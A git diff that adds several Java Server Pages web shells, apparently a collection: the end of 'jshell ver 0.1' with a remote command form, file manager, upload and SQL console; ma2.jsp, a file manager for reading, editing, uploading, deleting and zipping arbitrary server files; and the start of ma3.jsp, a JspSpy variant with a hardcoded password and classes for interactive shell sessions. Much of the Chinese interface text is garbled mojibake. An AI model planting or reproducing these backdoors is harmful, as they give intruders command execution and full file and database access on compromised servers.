    Э<%=request.getProtocol()%>
    汾Ϣ<%=application.getServerInfo()%>
    JDK汾<%=System.getProperty("java.version")%>
    JDKװ·<%=System.getProperty("java.home")%>
    JAVA汾<%=System.getProperty("java.vm.specification.version")%>
    JAVA<%=System.getProperty("java.vm.name")%>
    JAVA·<%=System.getProperty("java.class.path")%>
    JAVA·<%=System.getProperty("java.library.path")%>
    JAVAʱĿ¼<%=System.getProperty("java.io.tmpdir")%>
    JIT<%=System.getProperty("java.compiler") == null ? "" : System.getProperty("java.compiler")%>
    չĿ¼·<%=System.getProperty("java.ext.dirs")%>
    ͻϢ
    ͻַ<%=request.getRemoteAddr()%>
    <%=request.getRemoteHost()%>
    û<%=request.getRemoteUser() == null ? "" : request.getRemoteUser()%>
    ʽ<%=request.getScheme()%>
    Ӧðȫ׽ֲ<%=request.isSecure() == true ? "" : ""%>
    +<% +//======================================================================================= +// end of printing the system info table +///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +} else if (action.equals("filesystem")) { +String curPath = ""; +String result = ""; +String fsAction = ""; + +if (request.getParameter("curPath") == null) { +curPath = request.getRealPath(request.getServletPath()); +curPath = pathConvert((new File(curPath)).getParent()); +} else { +curPath = Unicode2GB((String)request.getParameter("curPath")); +} + +if (request.getParameter("fsAction") == null) { +fsAction = "list"; +} else { +fsAction = (String)request.getParameter("fsAction"); +} + +if (fsAction.equals("list")) +result = listFiles(curPath, request.getRequestURI() + "?action=" + action); +else if (fsAction.equals("browse")) { +result = listFiles(new File(curPath).getParent(), request.getRequestURI() + "?action=" + action); +result += browseFile(curPath); +} +else if (fsAction.equals("open")) +result = openFile(curPath, request.getRequestURI() + "?action=" + action); +else if (fsAction.equals("save")) { +if (request.getParameter("fileContent") == null) { +result = "ҳ浼"; +} else { +String fileContent = Unicode2GB((String)request.getParameter("fileContent")); +result = saveFile(curPath, request.getRequestURI() + "?action=" + action, fileContent); +} +} else if (fsAction.equals("createFolder")) { +if (request.getParameter("folderName") == null) { +result = "Ŀ¼Ϊ"; +} else { +String folderName = Unicode2GB(request.getParameter("folderName").trim()); +if (folderName.equals("")) { +result = "Ŀ¼Ϊ"; +} else { +result = createFolder(curPath, request.getRequestURI() + "?action=" + action, folderName); +} +} +} else if (fsAction.equals("createFile")) { +if (request.getParameter("fileName") == null) { +result = "ļΪ"; +} else { +String fileName = Unicode2GB(request.getParameter("fileName").trim()); +if (fileName.equals("")) { +result = "ļΪ"; +} else { +result = createFile(curPath, request.getRequestURI() + "?action=" + action, fileName); +} +} +} else if (fsAction.equals("deleteFile")) { +if (request.getParameter("filesDelete") == null) { +result = "ûѡҪɾļ"; +} else { +String[] files2Delete = (String[])request.getParameterValues("filesDelete"); +if (files2Delete.length == 0) { +result = "ûѡҪɾļ"; +} else { +for (int n = 0; n < files2Delete.length; n ++) { +files2Delete[n] = Unicode2GB(files2Delete[n]); +} +result = deleteFile(curPath, request.getRequestURI() + "?action=" + action, files2Delete); +} +} +} else if (fsAction.equals("saveAs")) { +if (request.getParameter("fileContent") == null) { +result = "ҳ浼"; +} else { +String fileContent = Unicode2GB(request.getParameter("fileContent")); +result = saveAs(curPath, request.getRequestURI() + "?action=" + action, fileContent); +} +} else if (fsAction.equals("upload")) { +result = uploadFile(request, curPath, request.getRequestURI() + "?action=" + action); +} else if (fsAction.equals("copyto")) { +if (request.getParameter("filesDelete") == null || request.getParameter("dstPath") == null) { +result = "ûѡҪƵļ"; +} else { +String[] files2Copy = request.getParameterValues("filesDelete"); +String dstPath = request.getParameter("dstPath").trim(); +if (files2Copy.length == 0) { +result = "ûѡҪƵļ"; +} else if (dstPath.equals("")) { +result = "ûдҪƵĿ¼·"; +} else { +for (int i = 0; i < files2Copy.length; i ++) +files2Copy[i] = Unicode2GB(files2Copy[i]); + +result = copyFiles(curPath, request.getRequestURI() + "?action=" + action, files2Copy, Unicode2GB(dstPath)); +} +} +} else if (fsAction.equals("rename")) { +if (request.getParameter("fileRename") == null) { +result = "ҳ浼"; +} else { +String file2Rename = request.getParameter("fileRename").trim(); +String newName = request.getParameter("newName").trim(); +if (file2Rename.equals("")) { +result = "ûѡҪļ"; +} else if (newName.equals("")) { +result = "ûдļ"; +} else { +result = renameFile(curPath, request.getRequestURI() + "?action=" + action, Unicode2GB(file2Rename), Unicode2GB(newName)); +} +} +} +%> + + + + + + + + + +
    ַ   +
    <%= result.trim().equals("")?" " : result%>
    +<% +///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +} else if (action.equals("command")) { +String cmd = ""; +InputStream ins = null; +String result = ""; + +if (request.getParameter("command") != null) { +cmd = (String)request.getParameter("command"); +result = exeCmd(cmd); +} +// print the command form +//======================================================================================== +%> + + + + + + + + + + + + +
    ִ
    + + +
    ִн
    + + + + +
    <%=result == "" ? " " : result%>
    +<% +//========================================================================================= +// end of printing command form +/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +} else if (action.equals("database")) { +String dbAction = ""; +String result = ""; +String dbType = ""; +String dbServer = ""; +String dbPort = ""; +String dbUsername = ""; +String dbPassword = ""; +String dbName = ""; +String dbResult = ""; +String sql = ""; + +if (request.getParameter("dbAction") == null) { +dbAction = "main"; +} else { +dbAction = request.getParameter("dbAction").trim(); +if (dbAction.equals("")) +dbAction = "main"; +} + +if (dbAction.equals("main")) { +result = " "; +} else if (dbAction.equals("dbConnect")) { +if (request.getParameter("dbType") == null || +request.getParameter("dbServer") == null || +request.getParameter("dbPort") == null || +request.getParameter("dbUsername") == null || +request.getParameter("dbPassword") == null || +request.getParameter("dbName") == null) { +response.sendRedirect(request.getRequestURI() + "?action=" + action); +} else { +dbType = request.getParameter("dbType").trim(); +dbServer = request.getParameter("dbServer").trim(); +dbPort = request.getParameter("dbPort").trim(); +dbUsername = request.getParameter("dbUsername").trim(); +dbPassword = request.getParameter("dbPassword").trim(); +dbName = request.getParameter("dbName").trim(); + +if (DBInit(dbType, dbServer, dbPort, dbUsername, dbPassword, dbName)) { +if (DBConnect(dbUsername, dbPassword)) { +if (request.getParameter("sql") != null) { +sql = request.getParameter("sql").trim(); +if (! sql.equals("")) { +dbResult = DBExecute(sql); +} +} + +result = "\n"; +result += "sql

     \n"; + +DBRelease(); +} else { +result = "ݿʧ"; +} +} else { +result = "ݿûҵ"; +} +} +} +%> + + +"> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    ݿ + + +
    ݿַ
    ݿ˿
    ݿû
    ݿ
    ݿ
     
    <%=result%>
    + + + + +
    +<%=dbResult%> +
    +<% + +//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +} else if (action.equals("config")) { +String cfAction = ""; +int i; + +if (request.getParameter("cfAction") == null) { + +cfAction = "main"; +} else { +cfAction = request.getParameter("cfAction").trim(); +if (cfAction.equals("")) +cfAction = "main"; +} + +if (cfAction.equals("main")) { +// start of config form +//========================================================================================== +%> + + +" onSubmit="javascript:selectAllTypes()"> + + + + + + + + + + + + + + + + + + + + +
    ϵͳ
    Sessionʱʱ
    ɱ༭ļ + + + + + + +
    + + + +

    + +
    + +
    +
    +<% +} else if (cfAction.equals("save")) { +if (request.getParameter("password") == null || +request.getParameter("encode") == null || +request.getParameter("sessionTime") == null || +request.getParameterValues("textFileTypes") == null) { +response.sendRedirect(request.getRequestURI()); +} + +String result = ""; + +String newPassword = request.getParameter("password").trim(); +String newEncodeType = request.getParameter("encode").trim(); +String newSessionTime = request.getParameter("sessionTime").trim(); +String[] newTextFileTypes = request.getParameterValues("textFileTypes"); +String jshellPath = request.getRealPath(request.getServletPath()); + +try { +JshellConfig jconfig = new JshellConfig(jshellPath); +jconfig.setPassword(newPassword); +jconfig.setEncodeType(newEncodeType); +jconfig.setSessionTime(newSessionTime); +jconfig.setTextFileTypes(newTextFileTypes); +jconfig.save(); +result += "ñɹڷأԺ򡭡"; +result += ""; +} catch (JshellConfigException e) { +result = "" + e.getMessage() + ""; +} + +%> + + + + +
    <%=result == "" ? " " : result%>
    +<% +} +////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// +//========================================================================================== +// end of config form +} else if (action.equals("about")) { +// start of about +//========================================================================================== +%> + + + + + + + + + + +
    jshell ver 0.1
        ʾalxeaĹܣҲȽϷЩȨǹߵ.
    hack520 by hack520 and welcome to FCHK
    +<% +//========================================================================================== +} +} +%> + + diff --git a/jsp/ma2.jsp b/jsp/ma2.jsp new file mode 100644 index 0000000..c2b506a --- /dev/null +++ b/jsp/ma2.jsp @@ -0,0 +1,807 @@ +<%@ page import="java.util.*,java.net.*,java.text.*,java.util.zip.*,java.io.*"%> +<%@ page contentType="text/html;charset=gb2312"%> +<%! +/* +************************************************************************************** +*JSP ļ v1.001 * +*Copyright (C) 2003 by Bagheera * +*E-mail:bagheera@beareyes.com * +*QQ:179189585 * +*http://jmmm.com * +*------------------------------------------------------------------------------------* +*:벻Ҫ޸ϰȨϢ! * +************************************************************************************** +*#######ѿռϵͳ֮У뵽Բ: * +**http://jmmm.com/web/index.jsp ʺ:test :test * +************************************************************************************** +*/ + +//༭ʾ +private static final int EDITFIELD_COLS =100; +//༭ʾ +private static final int EDITFIELD_ROWS = 30; +//----------------------------------------------------------------------------- + +//ıϴļǵĻĿ¼(һ㲻Ҫ޸) +private static String tempdir = "."; + +public class FileInfo{ + public String name = null, + clientFileName = null, + fileContentType = null; + private byte[] fileContents = null; + public File file = null; + public StringBuffer sb = new StringBuffer(100); + public void setFileContents(byte[] aByteArray){ + fileContents = new byte[aByteArray.length]; + System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length); + } +} + +public class HttpMultiPartParser{ + private final String lineSeparator = System.getProperty("line.separator", "\n"); + private final int ONE_MB=1024*1024*1; + + public Hashtable processData(ServletInputStream is, String boundary, String saveInDir) + throws IllegalArgumentException, IOException { + if (is == null) throw new IllegalArgumentException("InputStream"); + if (boundary == null || boundary.trim().length() < 1) + throw new IllegalArgumentException("boundary"); + boundary = "--" + boundary; + StringTokenizer stLine = null, stFields = null; + FileInfo fileInfo = null; + Hashtable dataTable = new Hashtable(5); + String line = null, field = null, paramName = null; + boolean saveFiles=(saveInDir != null && saveInDir.trim().length() > 0), + isFile = false; + if (saveFiles){ + File f = new File(saveInDir); + f.mkdirs(); + } + line = getLine(is); + if (line == null || !line.startsWith(boundary)) + throw new IOException("δ;" + +" boundary = " + boundary + +", line = " + line); + while (line != null){ + if (line == null || !line.startsWith(boundary)) return dataTable; + line = getLine(is); + if (line == null) return dataTable; + stLine = new StringTokenizer(line, ";\r\n"); + if (stLine.countTokens() < 2) throw new IllegalArgumentException("ִ!"); + line = stLine.nextToken().toLowerCase(); + if (line.indexOf("form-data") < 0) throw new IllegalArgumentException("ִ!"); + stFields = new StringTokenizer(stLine.nextToken(), "=\""); + if (stFields.countTokens() < 2) throw new IllegalArgumentException("ִ!"); + fileInfo = new FileInfo(); + stFields.nextToken(); + paramName = stFields.nextToken(); + isFile = false; + if (stLine.hasMoreTokens()){ + field = stLine.nextToken(); + stFields = new StringTokenizer(field, "=\""); + if (stFields.countTokens() > 1){ + if (stFields.nextToken().trim().equalsIgnoreCase("filename")){ + fileInfo.name=paramName; + String value = stFields.nextToken(); + if (value != null && value.trim().length() > 0){ + fileInfo.clientFileName=value; + isFile = true; + } + else{ + line = getLine(is); // ȥ"Content-Type:" + line = getLine(is); // ȥհ + line = getLine(is); // ȥհ + line = getLine(is); // λ + continue; + } + } + } + else if (field.toLowerCase().indexOf("filename") >= 0){ + line = getLine(is); // ȥ"Content-Type:" + line = getLine(is); // ȥհ + line = getLine(is); // ȥհ + line = getLine(is); // λ + continue; + } + } + boolean skipBlankLine = true; + if (isFile){ + line = getLine(is); + if (line == null) return dataTable; + if (line.trim().length() < 1) skipBlankLine = false; + else{ + stLine = new StringTokenizer(line, ": "); + if (stLine.countTokens() < 2) + throw new IllegalArgumentException("ִ!"); + stLine.nextToken(); + fileInfo.fileContentType=stLine.nextToken(); + } + } + if (skipBlankLine){ + line = getLine(is); + if (line == null) return dataTable; + } + if (!isFile){ + line = getLine(is); + if (line == null) return dataTable; + dataTable.put(paramName, line); + //жǷΪĿ¼ + if (paramName.equals("dir")){ + saveInDir = line; + System.out.println(line); + } + line = getLine(is); + continue; + } + try{ + OutputStream os = null; + String path = null; + if (saveFiles) + os = new FileOutputStream(path = getFileName(saveInDir, + fileInfo.clientFileName)); + else os = new ByteArrayOutputStream(ONE_MB); + boolean readingContent = true; + byte previousLine[] = new byte[2 * ONE_MB]; + byte temp[] = null; + byte currentLine[] = new byte[2 * ONE_MB]; + int read, read3; + if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) { + line = null; + break; + } + while (readingContent){ + if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) { + line = null; + break; + } + if (compareBoundary(boundary, currentLine)){ + os.write( previousLine, 0, read ); + os.flush(); + line = new String( currentLine, 0, read3 ); + break; + } + else{ + os.write( previousLine, 0, read ); + os.flush(); + temp = currentLine; + currentLine = previousLine; + previousLine = temp; + read = read3; + } + } + os.close(); + temp = null; + previousLine = null; + currentLine = null; + if (!saveFiles){ + ByteArrayOutputStream baos = (ByteArrayOutputStream)os; + fileInfo.setFileContents(baos.toByteArray()); + } + else{ + fileInfo.file = new File(path); + os = null; + } + dataTable.put(paramName, fileInfo); + } + catch (IOException e) { + throw e; + } + } + return dataTable; + } + + // Ƚ + private boolean compareBoundary(String boundary, byte ba[]){ + byte b; + if (boundary == null || ba == null) return false; + for (int i=0; i < boundary.length(); i++) + if ((byte)boundary.charAt(i) != ba[i]) return false; + return true; + } + + + private synchronized String getLine(ServletInputStream sis) throws IOException{ + byte b[] = new byte[1024]; + int read = sis.readLine(b, 0, b.length), index; + String line = null; + if (read != -1){ + line = new String(b, 0, read); + if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index-1); + } + b = null; + return line; + } + + public String getFileName(String dir, String fileName) throws IllegalArgumentException{ + String path = null; + if (dir == null || fileName == null) throw new IllegalArgumentException("Ŀ¼ļ!"); + int index = fileName.lastIndexOf('/'); + String name = null; + if (index >= 0) name = fileName.substring(index + 1); + else name = fileName; + index = name.lastIndexOf('\\'); + if (index >= 0) fileName = name.substring(index + 1); + path = dir + File.separator + fileName; + if (File.separatorChar == '/') return path.replace('\\', File.separatorChar); + else return path.replace('/', File.separatorChar); + } + } + + /** + * ΪļĿ¼ + * @author bagheera + * @version 1.001 + */ + class FileComp implements Comparator{ + int mode=1; + /** + * @򷽷 1=ļ, 2=С, 3= + */ + FileComp (int mode){ + this.mode=mode; + } + public int compare(Object o1, Object o2){ + File f1 = (File)o1; + File f2 = (File)o2; + if (f1.isDirectory()){ + if (f2.isDirectory()){ + switch(mode){ + case 1:return f1.getAbsolutePath().toUpperCase().compareTo(f2.getAbsolutePath().toUpperCase()); + case 2:return new Long(f1.length()).compareTo(new Long(f2.length())); + case 3:return new Long(f1.lastModified()).compareTo(new Long(f2.lastModified())); + default:return 1; + } + } + else return -1; + } + else if (f2.isDirectory()) return 1; + else{ + switch(mode){ + case 1:return f1.getAbsolutePath().toUpperCase().compareTo(f2.getAbsolutePath().toUpperCase()); + case 2:return new Long(f1.length()).compareTo(new Long(f2.length())); + case 3:return new Long(f1.lastModified()).compareTo(new Long(f2.lastModified())); + default:return 1; + } + } + } + } + + + class Writer2Stream extends OutputStream{ + Writer out; + Writer2Stream (Writer w){ + super(); + out=w; + } + public void write(int i) throws IOException{ + out.write(i); + } + public void write(byte[] b) throws IOException{ + for (int i=0;i>>4)&0xF)*16+(n&0xF); + out.write (n); + } + } + public void write(byte[] b, int off, int len) throws IOException{ + for (int i=off;i>>4)&0xF)*16+(n&0xF); + out.write (n); + } + } + } + + static Vector expandFileList(String[] files, boolean inclDirs){ + Vector v = new Vector(); + if (files==null) return v; + for (int i=0;i -1 ){ + j = s.indexOf( search, i ); + if ( j > -1 ){ + s2.append( s.substring(i,j) ); + s2.append( replace ); + i = j + len; + } + } + s2.append( s.substring(i, s.length()) ); + return s2.toString(); + } + + + static String getDir (String dir, String name){ + if (!dir.endsWith(File.separator)) dir=dir+File.separator; + File mv = new File (name); + String new_dir=null; + if (!mv.isAbsolute()){ + new_dir=dir+name; + } + else new_dir=name; + return new_dir; + } +%> + +<% +request.setAttribute("dir", request.getParameter("dir")); +String browser_name = request.getRequestURI(); + +//鿴ļ +if (request.getParameter("file")!=null){ + File f = new File (request.getParameter("file")); + BufferedInputStream reader = new BufferedInputStream(new FileInputStream(f)); + int l = f.getName().lastIndexOf("."); + //жļ׺ + if (l>=0){ + String ext = f.getName().substring(l).toLowerCase(); + if (ext.equals(".jpg")||ext.equals(".jpeg")||ext.equals(".jpe")) + response.setContentType("image/jpeg"); + else if (ext.equals(".gif")) response.setContentType("image/gif"); + else if (ext.equals(".pdf")) response.setContentType("application/pdf"); + else if (ext.equals(".htm")||ext.equals(".html")||ext.equals(".shtml")) response.setContentType("text/html"); + else if (ext.equals(".avi")) response.setContentType("video/x-msvideo"); + else if (ext.equals(".mov")||ext.equals(".qt")) response.setContentType("video/quicktime"); + else if (ext.equals(".mpg")||ext.equals(".mpeg")||ext.equals(".mpe")) + response.setContentType("video/mpeg"); + else if (ext.equals(".zip")) response.setContentType("application/zip"); + else if (ext.equals(".tiff")||ext.equals(".tif")) response.setContentType("image/tiff"); + else if (ext.equals(".rtf")) response.setContentType("application/rtf"); + else if (ext.equals(".mid")||ext.equals(".midi")) response.setContentType("audio/x-midi"); + else if (ext.equals(".xl")||ext.equals(".xls")||ext.equals(".xlv")||ext.equals(".xla") + ||ext.equals(".xlb")||ext.equals(".xlt")||ext.equals(".xlm")||ext.equals(".xlk")) + response.setContentType("application/excel"); + else if (ext.equals(".doc")||ext.equals(".dot")) response.setContentType("application/msword"); + else if (ext.equals(".png")) response.setContentType("image/png"); + else if (ext.equals(".xml")) response.setContentType("text/xml"); + else if (ext.equals(".svg")) response.setContentType("image/svg+xml"); + else response.setContentType("text/plain"); + } + else response.setContentType("text/plain"); + response.setContentLength((int)f.length()); + out.clearBuffer(); + int i; + while ((i=reader.read())!=-1) out.write(i); + reader.close(); + out.flush(); +} +//ѡļΪzipļ +else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Save as zip"))){ + Vector v = expandFileList(request.getParameterValues("selfile"), false); + File dir_file = new File(""+request.getAttribute("dir")); + int dir_l = dir_file.getAbsolutePath().length(); + response.setContentType ("application/zip"); + response.setHeader ("Content-Disposition", "attachment;filename=\"bagheera.zip\""); + out.clearBuffer(); + ZipOutputStream zipout = new ZipOutputStream(new Writer2Stream(out)); + zipout.setComment("Created by JSP ļ 1.001"); + for (int i=0;i

    ļ"+f.getAbsolutePath()+ + "ڻ޶Ȩ

    "); + } +} + +else{ + if (request.getAttribute("dir")==null){ + request.setAttribute ("dir", application.getRealPath(".")); + } +%> + + + + + +<% +} +//ϴ +if ((request.getContentType()!=null)&&(request.getContentType().toLowerCase().startsWith("multipart"))){ + response.setContentType("text/html"); + HttpMultiPartParser parser = new HttpMultiPartParser(); + boolean error = false; + try{ + Hashtable ht = parser.processData(request.getInputStream(), "-", tempdir); + if (ht.get("myFile")!=null){ + FileInfo fi = (FileInfo)ht.get("myFile"); + File f = fi.file; + //ļӻĿ¼︴Ƴ + String path = (String)ht.get("dir"); + if (!path.endsWith(File.separator)) path = path+File.separator; + if (!f.renameTo(new File(path+f.getName()))){ + request.setAttribute("message", "޷ϴļ."); + error = true; + f.delete(); + } + } + else{ + request.setAttribute("message", "ѡϴļ!"); + error = true; + } + request.setAttribute("dir", (String)ht.get("dir")); + } + catch (Exception e){ + request.setAttribute("message", "´:"+e+". ϴʧ!"); + error = true; + } + if (!error) request.setAttribute("message", "ļϴɹ."); +} +else if (request.getParameter("editfile")!=null){ +%> +JSPļ-༭ļ:<%=request.getParameter("editfile")%> + + + +<% + String encoding="gb2312"; + request.setAttribute("dir", null); + File ef = new File(request.getParameter("editfile")); + BufferedReader reader = new BufferedReader(new FileReader(ef)); + String disable = ""; + if (!ef.canWrite()) disable = "޷ļ"; + out.print("
    \n"+ + " + "> + + + + + +
    д
    +
    + + +<% +} +//ļ +else if (request.getParameter("nfile")!=null){ + File f = new File(request.getParameter("nfile")); + File new_f = new File(getDir(f.getParent(), request.getParameter("new_name"))); + if (request.getParameter("Submit").equals("Save")){ + if (new_f.exists()&&request.getParameter("Backup")!=null){ + File bak = new File(new_f.getAbsolutePath()+".bak"); + bak.delete(); + new_f.renameTo(bak); + } + BufferedWriter outs = new BufferedWriter(new FileWriter(new_f)); + outs.write(request.getParameter("text")); + outs.flush(); + outs.close(); + } + request.setAttribute("dir", f.getParent()); +} +//ɾļ +else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Delete Files"))){ + Vector v = expandFileList(request.getParameterValues("selfile"), true); + boolean error = false; + for (int i=v.size()-1;i>=0;i--){ + File f = (File)v.get(i); + if (!f.canWrite()||!f.delete()){ + request.setAttribute("message", "޷ɾļ"+f.getAbsolutePath()+". ɾʧ"); + error = true; + break; + } + } + if ((!error)&&(v.size()>1)) request.setAttribute("message", "All files deleted"); + else if ((!error)&&(v.size()>0)) request.setAttribute("message", "File deleted"); + else if (!error) request.setAttribute("message", "No files selected"); +} +//Ŀ¼ +else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Create Dir"))){ + String dir = ""+request.getAttribute("dir"); + String dir_name = request.getParameter("cr_dir"); + String new_dir = getDir (dir, dir_name); + if (new File(new_dir).mkdirs()){ + request.setAttribute("message", "Ŀ¼"); + } + else request.setAttribute("message", "Ŀ¼"+new_dir+"ʧ"); +} +//ļ +else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Create File"))){ + String dir = ""+request.getAttribute("dir"); + String file_name = request.getParameter("cr_dir"); + String new_file = getDir (dir, file_name); + //Test, if file_name is empty + if ((file_name.trim()!="")&&!file_name.endsWith(File.separator)){ + if (new File(new_file).createNewFile()) request.setAttribute("message", "ļɹ"); + else request.setAttribute("message", "ļ"+new_file+"ʧ"); + } + else request.setAttribute("message", ": "+file_name+"ļ"); +} +//תļ +else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Move Files"))){ + Vector v = expandFileList(request.getParameterValues("selfile"), true); + String dir = ""+request.getAttribute("dir"); + String dir_name = request.getParameter("cr_dir"); + String new_dir = getDir(dir, dir_name); + boolean error = false; + if (!new_dir.endsWith(File.separator)) new_dir+=File.separator; + for (int i=v.size()-1;i>=0;i--){ + File f = (File)v.get(i); + if (!f.canWrite()||!f.renameTo(new File(new_dir+f.getAbsolutePath().substring(dir.length())))){ + request.setAttribute("message", "ת"+f.getAbsolutePath()+".תʧ"); + error = true; + break; + } + } + if ((!error)&&(v.size()>1)) request.setAttribute("message", "ȫļתƳɹ"); + else if ((!error)&&(v.size()>0)) request.setAttribute("message", "ļתƳɹ"); + else if (!error) request.setAttribute("message", "ѡļ"); +} +//ļ +else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Copy Files"))){ + Vector v = expandFileList(request.getParameterValues("selfile"), true); + String dir = (String)request.getAttribute("dir"); + if (!dir.endsWith(File.separator)) dir+=File.separator; + String dir_name = request.getParameter("cr_dir"); + String new_dir = getDir(dir, dir_name); + boolean error = false; + if (!new_dir.endsWith(File.separator)) new_dir+=File.separator; + byte buffer[] = new byte[0xffff]; + try{ + for (int i=0;i1)) request.setAttribute("message", "ȫļƳɹ"); + else if ((!error)&&(v.size()>0)) request.setAttribute("message", "ļƳɹ"); + else if (!error) request.setAttribute("message", "ѡļ"); +} +//Ŀ¼ +if ((request.getAttribute("dir")!=null)){ +%> +JSPļ-Ŀ¼:<%=request.getAttribute("dir")%> + + + +
    +<% if (request.getAttribute("message")!=null){ + out.println("
    "); + out.println(request.getAttribute("message")); + out.println("
    "); +} +%> +
    + +<% + String dir = URLEncoder.encode(""+request.getAttribute("dir")); + String cmd = browser_name+"?dir="+dir; + out.println(""+ + ""+ + ""+ + ""); + char trenner=File.separatorChar; + File f=new File(""+request.getAttribute("dir")); + //߷ + File[] entry=File.listRoots(); + for (int i=0;i"); + out.println(""); + + } + out.println("
    "); + //.. + if (f.getParent()!=null){ + out.println(""); + out.println(""); + } + //ļĿ¼ + entry=f.listFiles(); + if (entry!=null&&entry.length>0){ + int mode=1; + if (request.getParameter("sort")!=null) mode = Integer.parseInt(request.getParameter("sort")); + Arrays.sort(entry, new FileComp(mode)); + String ahref = "["+buf+"]"; + else + link = "["+buf+"]"; + } + else{ + if (entry[i].canRead()){ + if (entry[i].canWrite()){ + link=ahref+browser_name+"?file="+name+"\">"+buf+""; + dlink=ahref+browser_name+"?downfile="+name+"\">"; + elink=ahref+browser_name+"?editfile="+name+"\">༭"; + } + else{ + link=ahref+browser_name+"?file="+name+"\">"+buf+""; + dlink=ahref+browser_name+"?downfile="+name+"\">"; + elink=ahref+browser_name+"?editfile="+name+"\">鿴"; + } + } + else{ + link = buf; + } + } + String date = DateFormat.getDateTimeInstance().format(new Date(entry[i].lastModified())); + out.println(""); + out.println(""); + out.println(""); + } + } +%> +
    ļС  лӦ̷"); + String name = URLEncoder.encode(entry[i].getAbsolutePath()); + String buf = entry[i].getAbsolutePath(); + out.println("["+buf+"]"); + out.println("
    "); + out.println("[..]"); + out.println("
    "+link+""+entry[i].length()+ + " bytes"+ + date+"" + +dlink+""+elink+"
    + +"> + + + + + + + + + +
    +
    + +
    + + + + + +
    "> +
    +
    +
    +
    JSP ļ v1.001 By Bagheerahttp://jmmm.com +
    +
    + + +<% +} +%> diff --git a/jsp/ma3.jsp b/jsp/ma3.jsp new file mode 100644 index 0000000..57098eb --- /dev/null +++ b/jsp/ma3.jsp @@ -0,0 +1,2317 @@ +<%@page pageEncoding="utf-8"%> +<%@page import="java.io.*"%> +<%@page import="java.util.*"%> +<%@page import="java.util.regex.*"%> +<%@page import="java.sql.*"%> +<%@page import="java.nio.charset.*"%> +<%@page import="javax.servlet.http.HttpServletRequestWrapper"%> +<%@page import="java.text.*"%> +<%@page import="java.net.*"%> +<%@page import="java.util.zip.*"%> +<%@page import="java.awt.*"%> +<%@page import="java.awt.image.*"%> +<%@page import="javax.imageio.*"%> +<%@page import="java.awt.datatransfer.DataFlavor"%> +<%@page import="java.util.prefs.Preferences"%> +<%! +private static final String PW = "xuying"; +private static final String PW_SESSION_ATTRIBUTE = "JspSpyPwd"; +private static final String REQUEST_CHARSET = "ISO-8859-1"; +private static final String PAGE_CHARSET = "UTF-8"; +private static final String CURRENT_DIR = "currentdir"; +private static final String MSG = "SHOWMSG"; +private static final String PORT_MAP = "PMSA"; +private static final String DBO = "DBO"; +private static final String SHELL_ONLINE = "SHELL_ONLINE"; +private static String SHELL_NAME = ""; +private static String WEB_ROOT = null; +private static String SHELL_DIR = null; +public static Map ins = new HashMap(); +private static class MyRequest extends HttpServletRequestWrapper { +public MyRequest(HttpServletRequest req) { +super(req); +} +public String getParameter(String name) { +try { +String value = super.getParameter(name); +if (name == null) +return null; +return new String(value.getBytes(REQUEST_CHARSET),PAGE_CHARSET); +} catch (Exception e) { +return null; +} +} +} +private static class DBOperator{ +private Connection conn = null; +private Statement stmt = null; +private String driver; +private String url; +private String uid; +private String pwd; +public DBOperator(String driver,String url,String uid,String pwd) throws Exception { +this(driver,url,uid,pwd,false); +} +public DBOperator(String driver,String url,String uid,String pwd,boolean connect) throws Exception { +Class.forName(driver); +if (connect) +this.conn = DriverManager.getConnection(url,uid,pwd); +this.url = url; +this.driver = driver; +this.uid = uid; +this.pwd = pwd; +} +public void connect() throws Exception{ +this.conn = DriverManager.getConnection(url,uid,pwd); +} +public Object execute(String sql) throws Exception { +if (isValid()) { +stmt = conn.createStatement(); +if (stmt.execute(sql)) { +return stmt.getResultSet(); +} else { +return stmt.getUpdateCount(); +} +} +throw new Exception("Connection is inValid."); +} +public void closeStmt() throws Exception{ +if (this.stmt != null) +stmt.close(); +} +public boolean isValid() throws Exception { +return conn != null && !conn.isClosed(); +} +public void close() throws Exception { +if (isValid()) { +closeStmt(); +conn.close(); +} +} +public boolean equals(Object o) { +if (o instanceof DBOperator) { +DBOperator dbo = (DBOperator)o; +return this.driver.equals(dbo.driver) && this.url.equals(dbo.url) && this.uid.equals(dbo.uid) && this.pwd.equals(dbo.pwd); +} +return false; +} +} +private static class StreamConnector extends Thread { +private InputStream is; +private OutputStream os; +public StreamConnector( InputStream is, OutputStream os ){ +this.is = is; +this.os = os; +} +public void run(){ +BufferedReader in = null; +BufferedWriter out = null; +try{ +in = new BufferedReader( new InputStreamReader(this.is)); +out = new BufferedWriter( new OutputStreamWriter(this.os)); +char buffer[] = new char[8192]; +int length; +while((length = in.read( buffer, 0, buffer.length ))>0){ +out.write( buffer, 0, length ); +out.flush(); +} +} catch(Exception e){} +try{ +if(in != null) +in.close(); +if(out != null) +out.close(); +} catch( Exception e ){} +} +} +private static class OnLineProcess { +private String cmd = "first"; +private Process pro; +public OnLineProcess(Process p){ +this.pro = p; +} +public void setPro(Process p) { +this.pro = p; +} +public void setCmd(String c){ +this.cmd = c; +} +public String getCmd(){ +return this.cmd; +} +public Process getPro(){ +return this.pro; +} +public void stop(){ +this.pro.destroy(); +} +} +private static class OnLineConnector extends Thread { +private OnLineProcess ol = null; +private InputStream is; +private OutputStream os; +private String name; +public OnLineConnector( InputStream is, OutputStream os ,String name,OnLineProcess ol){ +this.is = is; +this.os = os; +this.name = name; +this.ol = ol; +} +public void run(){ +BufferedReader in = null; +BufferedWriter out = null; +try{ +in = new BufferedReader( new InputStreamReader(this.is)); +out = new BufferedWriter( new OutputStreamWriter(this.os)); +char buffer[] = new char[128]; +if(this.name.equals("exeRclientO")) { +//from exe to client +int length = 0; +while((length = in.read( buffer, 